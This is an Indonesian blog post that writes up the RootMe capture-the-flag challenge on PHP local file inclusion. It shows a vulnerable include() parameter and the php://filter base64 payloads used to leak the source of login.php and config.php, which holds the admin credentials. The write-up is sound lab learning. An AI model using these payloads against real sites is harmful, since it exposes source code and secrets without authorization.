Saturday, January 5, 2019

[RootMe] PHP filters - LFI - PHP Wrapper

disoal diberikan sebuah web yang terdapat 2 menu yaitu login dan home, disini saya harus menemukan administrator password, jika dilihat dari judulnya PHP Filter kemungkinan menggunakan metode PHP://FILTER (php wrapper) jadi saya mencari referensi.

pada web terdapat parameter inc yang digunakan untuk memanggil file, kemungkin kodenya seperti ini:
include($_GET["inc"]);
jadi saya coba mengganti value inc dengan / slash
 inc=/
ternyata muncul pesan error:
Warning: include(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/challenge/web-serveur/ch12:/tmp) in /challenge/web-serveur/ch12/ch12.php on line 26
Warning: include(/): failed to open stream: Operation not permitted in /challenge/web-serveur/ch12/ch12.php on line 26
Warning: include(): Failed opening '/' for inclusion (include_path='.:/usr/share/php') in /challenge/web-serveur/ch12/ch12.php on line 26
sudah dipastikan ini vuln LFI, selanjutnya menggunakan payload php://filter seperti ini:
inc=php://filter/convert.base64-encode/resource=login.php
setelah itu enter maka akan muncul sebuah enkripsi base64, selanjutnya saya decode code tersebut, hasilnya seperti:
<?php
include("config.php");
if ( isset($_POST["username"]) && isset($_POST["password"]) ){
    if ($_POST["username"]==$username && $_POST["password"]==$password){
      print("<h2>Welcome back !</h2>");
      print("To validate the challenge use this password<br/><br/>");
    } else {
      print("<h3>Error : no such user/password</h2><br />");
    }
} else {
 setelah menganalisis kode diatas, saya akan mencari value dari variable $username dan $password, saya yakin itu terdapat di config.php
inc=php://filter/convert.base64-encode/resource=config.php
lalu enter, muncul kode enkripsi base64, saya decode, hasilnya:
<?php
$username="admin";
$password="Sensor silahkan dicoba :)";
?>
yohoho user dan password sudah ditangan, selanjutnya login, makan muncul pesan saya bisa menggunakan password diatas untuk validate alias password tersebut adalah flagnya.

referensi:
https://highon.coffee/blog/lfi-cheat-sheet/#php-wrapper-phpfilter
http://repository.root-me.org/Programmation/PHP/EN%20-%20Using%20and%20understanding%20PHP%20streams%20and%20filters.pdf

No comments:

Post a Comment